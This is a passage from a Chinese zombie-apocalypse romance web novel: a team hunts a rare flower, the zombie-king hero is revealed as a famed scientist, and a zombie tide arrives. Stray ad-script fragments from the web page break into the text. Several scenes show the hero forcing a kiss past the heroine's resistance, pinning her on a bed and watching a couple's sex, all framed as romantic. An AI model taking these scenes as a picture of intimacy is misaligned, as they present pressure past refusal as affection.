颜枝眼尖地看见了,她好笑心想道,怪不得温岚每次见她都一副烦躁的模样,不过——凌嫣看起来只有十四五岁啊。 颜枝心生好奇。 忽然想起凌嫣的精神系异能,她主动凑近了凌嫣。 “你是四级精神系异能者?” 凌嫣点点头。 骄傲道:“那当然,我可厉害了,以后我保护姐姐!” 温岚脸都黑了。 暗自嘲讽道:“人家可也是四级异能者,哪里需要你保护。” 凌嫣语塞,她瞪了一眼温岚。 颜枝没在意,又追问道:“我对精神系异能不太了解,可以给我讲讲吗?” 她忽然想起之前在碧落温泉山庄。 老板给他们设下鸿门宴,便是用精神系异能者控制他们的心绪,导致他们暂时放不出异能。 不过那个异能者显然等级不高,只需传输异能便能破除了。 这个小丫头是四级异能者,定然有更厉害的手段。 凌嫣罕见地没说话,她正欲开口,便被身后的温岚打断。 温岚将人拉了回去。 严昌庆歉意道:“颜小姐,这都是保命的手段,之后自然会揭晓,现在暂时不好告知。” 颜枝体贴地点点头。 阿晟凑到人耳边道:“想知道的话,我告诉你。” 颜枝惊喜地看向他,弯了弯唇,没再说话了。 几人坐着两辆越野车,对方有五人,颜枝他们只有两人,颜枝想让他们那边分几人坐过来,被严昌庆婉拒,青年歉意说他们组队相伴时间已久,不习惯分开。 颜枝知晓是因为他们对此仍持有怀疑之心,便不再客套了。 阿晟开着车。 颜枝坐在副驾驶上,她的好奇心彻底被勾起。 “精神系异能到底是什么啊?” 丧尸王余光瞥了一眼她,故意打哑迷。 “精神系异能自然是精神系异能。” 颜枝抿唇,忽然挠了一下他的手背。 不疼,但感觉还奇怪,像一只小猫用爪子轻轻地抓过去。 阿晟心里痒痒的。 他嘴角擒笑。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 颜枝一眼便看出来他是在故意逗她。 她哼了一声。 “我就知晓你不知道,故意骗我的。” 女子眼珠转了转,故意激他。 丧尸王不上当。 “你亲我一口,我就告诉你。” 丧尸王很不满意,现在颜枝认得的人越来越多,越发冷淡他了,他都忘了上一次亲嘴是什么时候了。 颜枝向左边凑去,吧唧一声,亲在了丧尸王右脸上。 阿晟闷声道:“这样不算。” 颜枝炸毛了,抗议道:“怎么不算!你只说亲,又没说亲哪,亲脸难道不算亲吗?” 丧尸王果然沉默了。 他说道“精神系异能,前期等级低时,可短时间内操控异能者的精神力,使其暂时丧失异能。” 颜枝点点头,这和她的猜想一致,那日的碧落温泉山庄便是如此。 “然后呢?” 丧尸王笑道:“接下来的要亲嘴才能听。” 他特意强调了亲嘴。 颜枝瞪大眼。 她忽然想念以前那只懵懂无知的丧尸王了,现在的他变聪明了,也学坏了。 颜枝无奈地往左边使劲凑,丧尸王好心地将车停下,转过头。 她蜻蜓点水便要离开。 下一秒,被男人用手按住后脑勺,男人的吻技也很青涩,开始只是唇贴唇,在逐渐掌握要领后,他自学成才,用舌头将女子紧闭的牙关撬开,勾起她的舌头,共同缠绕。 颜枝呼吸不过来。感觉像有一条粘稠的毒蛇缠着自己。 她将人使劲往外推,但浑身被亲的没了力气,阻拦的双手无力垂下。 丧尸王亲够了,才将人放开。 女子被亲的眼泪汪汪。 唇边还有遗留的涎液。 看起来很是seqing。 餍足的丧尸王凑近,将那涎液舔去。 车子继续向前开。 阿晟开口道:“高级的精神系异能者拥有操控丧尸心智的能力,但是作为反噬,这种异能者体质会很弱,且看起来只有十几岁的模样,永远也无法长大。当然,寿命也会较常人短,不过这种异能过于强横,出现高级精神系异能者的几率太小。” 颜枝正平复呼吸,闻言,瞪大眼睛。 怪不得那个小队那么谨慎,有这个异能,岂不是可以让凌嫣将丧尸定住,其他人就能像砍萝卜一样,通通乱杀。 “那你觉得凌嫣实际年龄有多大啊?” 颜枝小心翼翼地问道,那个小姑娘该不会是个老婆婆吧。 丧尸王眼里闪过困惑。 “凌嫣是谁?” 颜枝:“……” 好歹也见过许多面了,他竟然连人家是谁都不知道。 她想了想,解释道:“就那个扎着辫子,看起来很可爱的女生。” 丧尸王点点头:“哦,是那个天天见你要抱你的女人啊。” 颜枝无奈地点点头,也算吧。 丧尸王想了想:“从骨龄看,大概二十二或者二十三吧。” 颜枝松了口气,忽然又想到什么。 她怀疑道:“你怎么知道这些的?” 一个丧尸,又知道精神系异能,又能看骨龄…… 阿晟面露难色:“我也不知晓,头脑中莫名有一股记忆,里面就有这些。” 颜枝心惊,看来这是要恢复丧尸化前的记忆了。 16. 触手丧尸王 几人刻意加快速度,吃饭也在车上解决,除过停车解决一下生理需求,几乎是马不停蹄地赶路。 即使这样,根据基地给的地图,还需再开一天的车方可到达。 前面那辆车里。 严昌庆几人面露难色。 他们准备的粮食不多,能帮他们撑到幽境,但幽境险境横生,谁也不知晓在那里需要撑几日。 陈笙摸着下巴道:“倘若能少吃一点儿,还是可以勉强够用的。” 林升平脾气暴,立马反驳道:“说得好听,每顿一人一个面包,大家伙都已经饿的不行了,再少吃的话,先饿死在路上了,哪有力气取什么虎食花!” 陈笙没说话。 严昌庆沉重道:“升平说的不错,不能再减了。” 场面又沉默了。 凌嫣愤懑道:“还不是那个破基地就给我们分了那么一点粮食,我们可有五个人呢!” 这句话像一片浪花激起平静的海面。 另外几人虽没开口,但心里在想什么,除了自己也无人知晓。 严昌庆目光闪烁,正要开口,便看见温岚欲开口,他笑了笑,让她先说。 温岚点点头,开口道:“同样的物资,颜枝他们只有两人,而我们有五人,大家共同去完成任务,不如将食物放在一起,平均分配。” 这话乍一听没有问题,温岚说完后,悄悄将头转向一边。 凌嫣错愕地看着她,说道:“但那是颜枝姐姐他们的物资,凭什么要拿出来分啊?” 温岚看了她一眼,眼里闪过受伤。 严昌庆抿唇道:“这也是我想说的,只是一个方案罢了,人家同意与否尚且未知。” 凌嫣看了一眼四周,发现大家眼里都有几分跃跃欲试,凌嫣抿唇,眼里闪过迷茫。 温岚开口道:“我与他们最为陌生,让我去再适合不过。” 即使不愿意,闹翻了脸,也是她温岚自己的问题,与小队没有关系。 严昌庆听出她的意思,他蹙眉看向温岚。 其他几人没有听出这番话的背后意味,觉得这个办法可取,纷纷同意。 凌嫣深深地看了她一眼。 闭眼蜷缩在座椅的角落,她心似乎空荡荡的。 严昌庆将人拉下去,严肃问道:“你真要这样做?” 温岚苦笑开口:“我在凌嫣心里已经是个不择目的的人了,好歹让我为队伍再做些什么。” 哪怕真的闹翻脸,她也能出面将责任全部揽下,那两人的实力强劲,不影响小队与他们合作。 严昌庆甩手道:“你不用去,我是队长,难道让我缩在你们女孩子后面,享受好处吗?温岚你是忘了我们是队友吗?” 温岚错愕地看着他,心里微暖。 她看着严昌庆离去的坚定背影,眼角泪花闪烁。 “咚咚”两声,颜枝闻声打开了车窗,便看见严昌庆笑得温和。 “严先生有什么事吗?” 严昌庆目光闪烁,犹豫道:“实不相瞒颜小姐,我们小队现在粮食有些不足,难以撑到完成任务,我现在也是丢下我这张脸面,想要向颜小姐借一些粮食,待回到基地,便如约还给你。” 颜枝理解地点点头。 她将车里的食物尽数拿出。 “是我们考虑不周了,你们有五个人,那一些粮食实属不够,既然我们共同完成任务,那便是伙伴了,那也合该平分粮食。” 严昌庆看了她几眼,心里有些感慨,他本来只是想过来借一些粮食,但颜枝这般大方,倒显得他想的过深了。 严昌庆向颜枝握拳道:“颜小姐这般宽容,严某感激不尽!” 颜枝弯眸,看了眼身旁的阿晟。 “你觉得如何呢?” 丧尸王点点头。 严昌庆高高兴兴地背着粮食回去了,这个在他们看来极其困难的方案竟然这般容易,他想好的几千字草稿竟都没有派上用场。 颜枝捂嘴偷笑:“你竟然这么大方,早知道我就不先斩后奏了。” 阿晟蹙眉看她:“在你心里,我很小气吗?” 颜枝仔细回想了一下:“你很护食!” 以前在小屋中,都舍不得给她吃他藏的东西,后来相处时间久了,舍得了。 杨康来了以后,吃一块小小的饼干都要炸毛。 丧尸王抿唇,心里升起烦躁。 他哪里护食了。 有什么吃的不都是颜枝先吃一口,好吃的她自己吃完,不好吃的又丢给他解决。 这个人类真是颠倒黑白。 阿晟冷着脸,不高兴了。 颜枝以为他舍不得那点食物,轻哄道:“我包里还有私藏的食物呢,保管你吃的好好的,吃的白白胖胖的。” 丧尸王微撇开脸,轻哼一声。 心里的闷气便消散了。 另一边车里几人见严昌庆回来这么快,且脸上表情很轻松,一点也不见被为难的模样,有些惊奇。 严昌庆三言两语将刚才车中发生的事情陈述了一遍。 他们纷纷称赞道:“看来颜小姐他们也是个心善的。” 严昌庆点点头,愉悦道:“看来我们是遇到好队友了。” 温岚闻言,坐在一边,脸上的表情依然冷艳,心里却忽然有些松动。 有了足够的物资,两个越野车安稳地行驶着,原本设定的一天到达,也缩成了半天便抵达了幽境。 车停下后,几人纷纷跳下车,警惕地盯着周围的风吹草动,暗自凝聚异能。 幽境实际上是一大片树林,不过与普通的绿色的生机盎然的树林不同,幽境的树木是黑色的,枝繁叶茂,黑色的像一团诡异的隧道一样,时不时传来野兽的嘶吼声,极为瘆人。 颜枝打了个颤,更加靠近了阿晟。 丧尸王脸上不动声色,手下将人搂在怀里。 严昌庆凝重道:“此番凶险,还请各位加上警惕心。” 他领导能力很强,刚一开口,便具有很强的信服力,成为了整个队伍发号指令的人, 几人点点头。 缓步上前。 很安静,什么声音都没有,方才那声嘶吼声似乎是幻听一样。 但没人敢放松警惕,倘若这是暴风雨前的平静呢。 颜枝突然开口道:“那虎食花长什么样?” 温岚回应道:“我记过那张图,我认得。” 颜枝听见一直不待见自己的温岚竟然跟自己说话,语气还这么平和,有些奇怪地看了她一眼,温岚感觉到这道目光,将脸微微移开。 温岚仔细观察着周围,都没有。 队伍越走越深,转眼间便走向了幽境深处,几人更为专注。 来到一棵参天大树下,温岚忽然指着上面道:“就是这个!” 只见那花长的极为古怪,说是花,却无半点花的模样,整体呈墨绿色,像毒蛇的黏液一般,仿佛下一秒就会吞噬掉人类。 几人刚凑近大树,一只巨物凭空跑出。 “嗷呜—” 是一只老虎! 不,它比老虎大多了,大了有足足两倍,颜枝他们在它身边,就像脚下一只蚂蚁一样渺小。 严昌庆冷声道:“看来这是一只被丧尸病毒浸染,侥幸存活的变异老虎。” 几人仰望着这只变异老虎,暗暗咽了下口水。 变异老 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 虎因这群入侵者的到来极为狂躁。 它吼叫着。 那声音传到人耳里,像是能将人耳膜震破。 几人被这声音震得向后退了几步。 严昌庆咬咬牙,将食人花放出,那花放大到好几倍,但那体型在变异老虎面前仍然不值一提,食人花缠绕住变异老虎的肚子,正要开口咬下它的血肉,便见那老虎愈发烦躁,下一秒,它口中竟是喷吐出一口火焰! 火焰直直地冲向食人花,食人花吃痛,收了回来。 林升平震惊道:“我嘞个乖乖,这只变异老虎竟然还有异能。” 严昌庆被反噬,吐出一口血,苦笑道:“况且它的异能不低于四级。” 林升平将受伤的严昌庆转移到一边后,三人对视一眼,纷纷上前,放出自己的异能。 一个四级异能者,再加上两个三级异能者,毫不吝啬地全部抛向那只老虎身上。 那老虎吃痛,被打地摔在地上,没等几人欣喜,便见便老虎又爬了起来。 它嘶吼一声,因为受伤,它愈发狂躁。 口中喷出的火星迅速。 三人一时不慎,被击中,纷纷吐了一口血。 严昌庆坐在一旁,按住胸膛,提醒道:“这只变异老虎皮糙肉厚,看来普通的攻击只能伤到它,但不能致死。” 颜枝站不住了,正欲上前,便听见阿晟道:“攻它的眼睛。” 颜枝点点头。 但那只老虎那般大,哪里能打到它的眼睛。 严昌庆目光闪烁,看向凌嫣。 凌嫣意会,点点头。 她凝聚精神力,对那只变异老虎命令道:“坐下来!” 其实她心里也没底,她的异能可以对付丧尸,但这只丧尸化的老虎,就不知道效果如何了。 万幸,那只变异老虎动作停滞了一下,凌嫣心中一喜,不再收敛,将所有精神力凝聚在一起,冲那只变异老虎吼道:“坐下!” 那老虎眼中迷茫,坐了下来。 凌嫣精神力耗尽,眼前一黑,倒头晕了过去,被早有准备的温岚接住。 严昌庆对颜枝喊道:“快!凌嫣只能控它十秒。” 颜枝不敢耽搁,三步两步地跃到老虎身上,脚下的巨物让颜枝心生胆怯,末世前她只是一个只用学习的普通女孩,而现在却要被迫杀一只变异老虎。 她暗自凝聚心神,不敢多想,眼见老虎便要清醒,手下动作迅速,强大的水柱直直地冲向老虎的眼睛。 老虎惨叫一声,倒在了地上。 半晌没见它再起来。 颜枝跳了下来。看向那只倒地的老虎,心里忽然升起几分激动。 她又看向其他几人。 她第一次同人并肩作战,颜枝心里暖暖的。 温岚将凌嫣放到一旁,擦擦嘴边的血。 “我去取花。” 她向上爬树,温岚体质很好,爬树对她来说很轻松。 只见她爬上树,站在枝头,将花摘下。 温岚欣喜地扬了扬手中的虎食花。 却见下面的人面色大变。 颜枝向下看去,脚下这棵大树竟像有了灵识一般,疯狂地扭动,温岚被甩了出去。 温岚闭上眼,等待着即将降临的疼痛,下一秒,被人接住。 她错愕地看去。 便见颜枝艰难开口,肩膀一颤一颤的:“温小姐能不能赶紧下来,我要撑不住了!” 温岚立马跳了出来,颜枝松了口气。 对上冷艳女子复杂的目光,她不好意思地解释道:“我的体质一向不好,哪怕觉醒异能后,也很弱,你一点都不胖的。” 温岚移开目光。 17. 触手丧尸王 几人凑前来,好奇地看着这朵虎食花。 陈笙末日前是个大学教授,对古籍颇有研究。 他观察了一下,开口道:“虎食花呈墨绿色,圆饼状,是极为珍贵的药材之一,周围有老虎护身,所以市面上较为稀少。” 严昌庆继续问道:“那这花能做什么?” C基地这么重视这花,到底想做什么? 这个问题大家都想知道。 陈笙蹙眉:“书上介绍说虎食花是能够解寒避暑的珍贵药材,但这个用途放在末世,不至于这般大费周折啊。” 严昌庆想了想:“既然那只老虎因丧尸病毒觉醒异能,成为灵兽,那难保这虎食花不会因沾染丧尸病毒而变异,方才那会动的树正好验证了这一点。” 剩下的人点点头,同意了这个说法。 颜枝眨眼,打断了他们的谈话。 “无论如何,我们都已经取到了虎食花,也算圆满完成了,不如吃顿火锅,庆祝一下!” 严昌庆惊愕地看向她。 温岚蹙眉,提醒道:“我们可没有足够的食材,也没有火锅底料。” 林升平挥挥手:“颜妹子想吃火锅的话,回去我请大家吃一顿!” 颜枝笑了笑:“大家别担心,我们有食材。” 方才精神力耗尽晕倒的凌嫣也醒了过来,她躺在车里,迷茫地起身,温岚先注意到,她走近越野车。 温岚看见凌嫣,眼神躲闪。 她将一块二级晶核递了过去。 “你精神力恢复得慢,这块二级晶核虽然功效不大,但也能帮你恢复一些精神力,你快吸收吧。” 凌嫣没接,温岚以为她还在介意,眼底失落,她将晶核放在车里,转身想要离开。 “温岚姐姐。” 凌嫣叫住她。 “我知道你是一个好人,当时是我过于激动了,你别生气了。” 温岚眼睛闪烁,她没说话,但嘴角擒笑,离开了。 远处,颜枝从车里掏出一口锅,火锅底料,又掏出一堆牛肉卷,豆腐皮,粉条,生菜…… 另外几人惊愕地嘴巴张大。 向来稳重的严昌庆也控制不住抽搐的嘴角。 他忍不住看向女人旁边的阿晟。 男人神情淡淡,显然已经习惯了。 严昌庆暗自心想道,这对小情侣,在末世可真潇洒。 颜枝不好意思道:“忘了拿鸳鸯锅了,看来我们只能吃一种口味了。” 其他四人:“……” 大妹子,还挑口味呢,他们有的吃就不错了。 吃人嘴软,拿人手短。 温岚作为火系异能者主动请缨生火。 颜枝作为水系异能者便向锅里倒水。 不一会儿,香味扑鼻而来,香的人口水都要流出来了。 温岚犹豫了一下,凑近颜枝,小声道:“你是个了不起的人,之前是我对你态度不佳,你救了我,我对你感激不尽,之前多有得罪,还请见谅。” 颜枝闻言,看向她,她的眼睛亮亮的,像一朵软软的棉花糖。 “不客气。” 几人就地而坐,绕着锅围成一个圈。 颜枝紧挨着阿晟,眼睛闪烁,嘴角含笑。 丧尸王问道:“你今天很开心?” 女子使劲点点头。 “以前流亡的我从来都没有想过我会拥有一□□心的队友,大家可以并肩作战,而且……” 颜枝看向他,补充道:“我不用为一块面包拼死拼活,我可以吃火锅,想吃什么就吃什么。” 阿晟抿唇,神色淡淡:“原来你的开心跟我没有关系。” 女子瞪大眼,反驳道哪有。 她圈住丧尸王的臂弯,头贴住他的身子,小声撒娇道:“我最感谢的,就是能够遇到你了,你是我最重要的人……哦不对,是丧尸。” 阿晟脸色缓和,眼里带有遮掩不住的笑意,他蹭了蹭女子的头发。 对面的几人:“……” 林升平凑近陈笙道:“天杀的老子也想找个老婆。” 陈笙抿唇,认真道:“不能因为想恋爱而恋爱,要彼此相爱。” 林升平瞪他一眼,迂腐! 他又靠近严昌庆,问道:“队长,你想不想找老婆?” 严昌庆看向对面的两人,眼里带了几分羡慕:“这是肯定的。” 林升平点点头,这才是正常人。 他又看向温岚,发觉对方并没注意那边,正放空思绪发呆,时不时还嘴角含笑。 林升平:“……” 几人拿起碗,正大快朵颐。 颜枝忽然想起来凌嫣还在车里,正想给她舀一碗,便看见温岚眼眸温柔,别人都在吃,她自顾自地舀满一大碗,起身走到越野车。 分明是背影,同以往无异,颜枝却硬生生地看出了几分雀跃。 颜枝垂下眸,偷笑一声,磕到了! 吃完后,严昌庆忽然看向颜枝,开口道:“我们已经商量好了,一路上颜小姐和阿晟先生对我们颇有照顾,因此奖赏的那颗五级晶核我们甘愿让给你们,剩下的三颗四级晶核,我们只要两颗就好。” 颜枝犹豫了一下,看向阿晟,他眼神坚定,仿佛在支持颜枝的任何决定。 颜枝抿唇,看向严昌庆:“杀那只变异老虎你们的功劳更大,我确实很想要那颗五级晶核,但这样的确是我们占了便宜,因此那颗五级晶核你们拿着吧,我们拿剩下的三颗四级晶核。” 严昌庆几人闻言心生感动,他们握拳道:“颜小姐实在大量。” 休息好后,他们便乘车回去了。 赶了大半天路程,夕阳西下,落日黄昏之际,才抵达C基地。 严昌庆将虎食花放在桌上。 登记人员瞪大眼,不敢动手,直直地打量着虎食花。 林升平开口道:“虎食花给你们弄到了,晶核呢?” 登记人员手忙脚乱地把晶核递给几人。 按照约定的分配好,几人便打算离开了。 便听见一声叫停。 几个穿着白褂子的人步履匆匆,一边跑一边惊喜喊道:“真的把虎食花弄到手了!” 为首的老者抓着胡子,惊喜地拿起虎食花,嘴里止不住地喊道:“这是真的!这是真的!” 他们看了过来:“是谁取到的?要重重地赏!” 目光扫过一袭人,落在阿晟身上时,忽然静止了。 老者三步两步走了过来,想要拉阿晟的衣袖,却被对方嫌恶地避开,他也不在意。 老者眼含泪光,不可置信道:“明博士?” 颜枝看向丧尸王,救命,这是什么抓马剧情。 阿晟蹙眉,淡淡道:“你认错人了,我叫阿晟,不是你口中的明博士。” 老者愣了一下,再次仔细地将人打量,又唤来其他几个人。 那几个人看了许久,坚定道:“这就是明喻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 言博士!” 其他几人一头雾水,陈笙见多识广,他颤着嘴道:“可是那个研制出强化人类体质药水的天才博士—明喻言?” 谈起明喻言,可能知道的人不多,但说起强化人类体质的药水,那可是无人不知。 末世刚刚到来,还没有出现异能者,人类因养尊处优,体质远不如那群丧尸,一点反抗的能力都没有,幸好市面上推出一种能够强化人类体质的药水,且毫无副作用,人类喝了以后,力气大了许多,身手也敏捷了些,总算有了些自保能力。 这药水,堪称是神药啊! 老者点点头:“正是!” 陈笙更为激动,他打量着阿晟,没想到大名鼎鼎的明喻言博士竟然与他同行这么多天,他何德何能啊! 老者含泪看向阿晟:“自从研制出药水后,博士便不见了,我们都以为博士是逝去了!幸好!我们人类还有希望。明博士,我们有那朵虎食花了,材料已经齐全了,还请您出手研制恢复丧尸人性的药剂吧!” 丧尸王蹙眉,紧挨颜枝,对她说道:“我不是明喻言,我是阿晟,你让他离我远点。” 身上臭臭的,还一直靠近他。 老者看向颜枝,这才恍然大悟,连忙开口道:“这是博士的伴侣吗?是我们考虑不周了,应该让博士好好休息,现在先不提药剂的事。” 阿晟冷着脸,拥着怀里的女子离开。 走了许久,看不见人了。 颜枝扯了扯他的衣袖,小声问道:“你真的是那个明喻言吗?” 她对这个人也有一些了解,是个了不起的大人物。 阿晟抿唇,看向怀里的人:“你希望我是吗?” 颜枝摸了摸下巴道:“我还是更希望你是阿晟,明喻言的话,离我就太远了,我感觉你会变得好陌生。” 阿晟点点头,将怀里人搂的更紧。 “你放心,我只是阿晟。” 颜枝开始还对他的新身份好奇,现在想明白,也不太在意了,这个人还是一直陪伴她的丧尸王,这点永远也不会变,其他的就不要在意了。 两人回到小屋,便看见杨康眼巴巴地坐在地上等着。 见到他们,眼睛一亮。 “姐姐,阿晟哥哥,你们回来了!” 颜枝笑了笑,摸摸他的头。 “已经三级了,真厉害啊。” 杨康不好意思地笑笑。 “我听见那些人说你们回来了,赶紧跑过来等你们了。” 颜枝知道他是在担心他们,心里一暖。 “快进去吧。” 颜枝从包里掏出一颗四级晶核,递给了杨康。 “以后等三级稳定了,就可以用上了。” 杨康接住晶核,眼里感动,他拿出两颗三级晶核,一颗二级晶核。 颜枝诧异道:“小康这么厉害啊,做了不少任务吧。” 杨康不好意思地挠挠头:“那些初级任务很简单,我一直等不到你们回来,就不停地做任务。” 这话还是谦逊了,C基地好多接任务的人都知道,有个小孩子,真是初生牛犊不怕虎,才一级,就敢越级接各种任务,结果还真让他完成了。 杨康将晶核全递给颜枝。 颜枝摇头,还了回去。 “这些晶核对我和阿晟来说已无多大作用了,但是对你很重要,你好好收着。” 杨康看看她,又看看旁边的阿晟。 使劲点点头。 18. 触手丧尸王 送走杨康后,颜枝忽然兴起,想要去外面逛一逛。 她认真道:“你想想,来了C基地三天,两天都在外面做任务,我还没有好好见一下它的全貌呢。” 大名鼎鼎的C基地,总得好好逛一下,才不枉来一趟吧。 阿晟眼里闪过几分复杂。 如果他说,C基地就是他以前闲的无聊建的,颜枝会不会很失落。 考虑到这一点,男人抿唇,最终还是没有扫她的兴,答应和她一起出去逛了。 事实上,逛了半天,C基地除过建筑高一些,安全措施严谨了一些,与其他地方没有两样,甚至都比不上之前经过的碧落温泉山庄雅致。 颜枝心里有些失落。 但是看到基地里的人正直直地站在防护措施那里,她又来了几分兴致。 “可以给我们讲讲这个吗?” 那男人一听,骄傲道:“这可是明喻言博士亲自设计的!” 颜枝眼珠子转了转,看向阿晟,明喻言在C基地可真有声威,到处都是迷弟迷妹。 “可否详细说说?” 男人指向一个黄色的小按钮:“夜晚降临时,按下这个按钮,就不需要人守夜了。” 颜枝很配合地疑惑道:“不要人守夜?那万一有丧尸攻来该如何?” 男人抬起下颚,骄傲道:“这便是这个机关的精妙之处了,明喻言博士设计用千种红外线机关,只要按下按钮,红外线便如同天罗地网般撒满城墙,倘若丧尸来,便会触发警报。” 颜枝点点头:“可红外线很常见,银行之类的也都会有这种设计呢。” 男人抿唇,解释道:“这是升级版的,这红外线可是能杀丧尸的,威力可大了,堪比二级异能呢。” 颜枝有些惊奇了。 男人说道:“明喻言博士之前可是设计了好多厉害的机关,危机关头,为我们C基地解决了不少麻烦呢。” 阿晟静静听着这个人的彩虹屁。 记忆告诉他,设计这些东西只是因为太无聊了。 那个明喻言似乎并不如他们所说的那么伟大,他所做的一切,例如研制增强人类体质药水,协助建造C基地,设计机关,只是因为生活太无聊了。 ——研制药水是因为明喻言想要试验人能在丧尸面前多活几秒。 建造C基地是因为他待够了自己的实验室,于是让人给自己重建了一个巨大的房子,后来太无趣了,兴起将屋子改造成基地,吸纳更多人类进来陪自己玩。 设计机关是觉得那群人类太弱了,禁不住丧尸几下捣,就随手弄了几个机关。 明喻言是个坏种。 阿晟垂眸,暗下结论。 他看见女子隐隐崇拜的眼神,心里忽然有些舒爽。 那好吧。 明喻言确实是个大英雄。 颜枝走时,还隐隐有些激动。 归根结底她在末世前只是个脆皮大学生,说好听点,便是个成绩好的大学生,以前听说过明喻言的传闻,虽然觉得厉害,但没有实感,现在观赏了一圈C基地,忽然能够理解人们为什么都这么崇拜他了。 而这样的人,竟然还与自己接触这么密切。 颜枝又抬眼偷看了一下阿晟。 丧尸王好笑道:“要看便光明正大地看,怎么还偷偷摸摸的。” 女子有些扭扭捏捏道:“你这么厉害,我都有些不真切感了。” 阿晟沉思了一瞬,点点头:“既然这样,我们合该深入交流一下感情。” 颜枝惊愕,直直望着他,说什么虎狼之词呢。 丧尸王动了动心神,便见几枝藤蔓拔地而起。 它们显得极为激动,直直地便要朝颜枝身上爬。 阿晟静默道:“它们一直闹腾,嫌我不让它们出来,我觉得现在到时候了。” 颜枝心下一跳,想起之前被藤蔓操控的狼狈模样。 她连忙爬到阿晟怀里,蹭着他撒娇道:“不要它们,我要你。” ——要他不要藤蔓? 阿晟心神微动。 不可否认,他被这句话极大地取悦到了。 只不过…… 男人苦恼道:“但是你看,它们不愿意走。” 颜枝顺着他的目光看了过去,便见那藤蔓蠢蠢欲动。 直直地往她腿上爬。 痒痒的。 更有甚者,爬得极快,已经到她的大腿根部了。 颜枝连忙在男人怀里又向上爬了些。 阿晟面上不动声色,手下将人搂得更紧了些,固定住,不让人滑下去。 “阿枝也看到它们这样了……” 颜枝抿唇,抬头送上自己软软的嘴唇。 口齿不清道:“……你让……它们……走。” 阿晟享受到女孩子甜甜的滋味,心中舒坦,轻易地便将那几枝不情不愿的藤蔓唤走。 藤蔓心有不甘地喊道:“太过分了!太有心机了!” “凭什么只有你能尝她的滋味,自私!” 阿晟笑了笑,脑海中回道:“因为我是主体啊。” 两人坐下来,颜枝还在他怀中平息着,丧尸王将她搂在怀里。 忽然听见耳边传来一阵不可描述的声音。 颜枝脸一僵,暗暗移开目光。 真是的,都不能在家里做,非得跑到外面做。 阿晟的下巴贴着女子的秀发,疑惑问道:“这是什么声音?” 颜枝转过身,用手捂住他的耳朵。 “不能听。” 阿晟嘴角擒笑,将人抱着走了过去。 怀中的女子羞愤欲绝,将脸埋在他的怀里。 无论是丧尸王阿晟,还是博士明喻言,都对男女之事不太了解,男人其实站的位置并不隐蔽,但那正努力奋战的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 男女可能过于投入,并没有发现他们。 这一幕映入男人眼帘,他静静地凝视着,看完全程。 颜枝实在忍不了了,她掐了掐他的胳膊:“还不赶紧走!” 这打断了那两人,女人吓得赶紧拿衣服盖住自己,男人气愤道:“谁?” 他敏锐地看向能藏身的地方。 但丧尸王和颜枝早已离开了。 回去的路上,丧尸王开口道:“他们是在进行□□吗?” 明喻言的记忆告诉他,这是人类之间进行繁殖的必要活动,也就是说如果要生孩子,就必须要那样做。 颜枝红着耳朵道:“是的是的。” 丧尸王起了兴头:“回去我也要和你这样。” 颜枝想捂耳朵,她有点恨那两个跑来打**的狗男女了,简直是教坏小朋友啊! 男人补充道:“那个男的只坚持了十分钟,我一定可以更久的。” 记忆里告诉他,男人越久越厉害,时间长了才能让女孩子舒服。 颜枝捂住他的嘴。 哪怕颜枝再不情愿,也很快走到了小屋里。 刚进门,丧尸王便将她压在了床上。 颜枝推他。 男人蹙眉疑惑道:“你不喜欢我吗?” “喜欢你的。” 丧尸王表情缓和:“喜欢为什么不愿意和我生孩子?” 只要男女两人互相喜欢,便可以在一起做生孩子的事情了。 颜枝欲哭无泪,连忙找借口,她指向窗外:“你看,现在外面还是白天,不能白日**啊!” 男人闻言,起身。 没等颜枝欣喜逃过一劫。 便见他迅速将窗帘拉上。 明亮的屋子顿时昏暗了。 他拽过颜枝的脚腕,把人拉在身下,又压了上去。 “现在天黑了。” 颜枝见人凑上来,紧闭住眼,终于下定决心。 “我、我用手行不行?” 丧尸王歪头,似乎在困惑用手怎么做。 …… 颜枝本就长的娇嫩,方才经历了那番事后,脸上添了几抹红霞,杏脸桃腮,像一个熟透的水蜜桃。 男人心神微动,喉结滚动。 他上前来亲亲颜枝的嘴。 在她耳边委屈道:“阿枝,它又起来了,我压不下去。” 颜枝推开丧尸王。 “自己弄,我手酸。” 丧尸王失望地垂下眼眸。 他对自己用手不太感兴趣。 在颜枝出去后,将自己锁在里面,冲了一小时的冷水澡。 待出去后,发觉天已经黑了。 颜枝早早躺在床上安睡了。 丧尸王嘴角擒笑,躺在床的另一边,将人往自己怀里带,温香软玉在怀,阿晟舒服了。 他轻声道:“阿枝,晚安。” 19. 触手丧尸王 天刚蒙蒙亮,两人正在熟睡中,忽然听见外面有人吼道:“丧尸潮来了!” 阿晟之前是丧尸王,基本不用睡觉的,自从消化了还梦珠后便开始有了困意,但也只是浅眠,他听见喊声便起来了。 颜枝尚在熟睡中,阿晟没打扰她,蹑手蹑脚地起身出去。 刚打开门,便看见大批异能者前往城门那里。 白褂老者正被异能者护送着去安全的地方,眼尖地看到阿晟,立马跑了过来,着急喊道:“明博士,快逃吧。” 阿晟垂眸看他,默默离了几步。 “为何要逃?” 老者劝道:“丧尸潮来了,这次可不一样,是六级丧尸带领的丧尸潮,基地对付不过啊,我们科研人员先跑,还能为人类留有一丝希望!” 他诚恳地看着阿晟,希望他能跟着他们一块逃。 阿晟不冷不淡地应了声,然后反道而行,朝着异能者的地方走。 “哎呀!” 白褂老者恨铁不成钢地看着他的背影,无奈时间实在紧急,他只好匆忙逃离了。 阿晟翘起嘴角,六级丧尸啊,不知和他比,谁更胜一筹。 越走越近,便能看到黑压压的丧尸潮。 越在前面的等级越高。 至于那带头的丧尸。 阿晟远远地与它对峙上。 对方注意到,饶有兴致地看了过来,两个六级丧尸的气息撞击在一起,片刻后,两只丧尸一齐吐了一口血。 六级丧尸凝重的目光落在阿晟身上,没有想到这个实力不输自己的同类竟然与这群人类混在一起。 阿晟毫不在意地擦擦嘴角的血,实力还不错。 六级丧尸隔空给他传音道:“你在做什么!我们应该并肩作战,共同攻打人类的地盘,为我们丧尸创造盛世!” 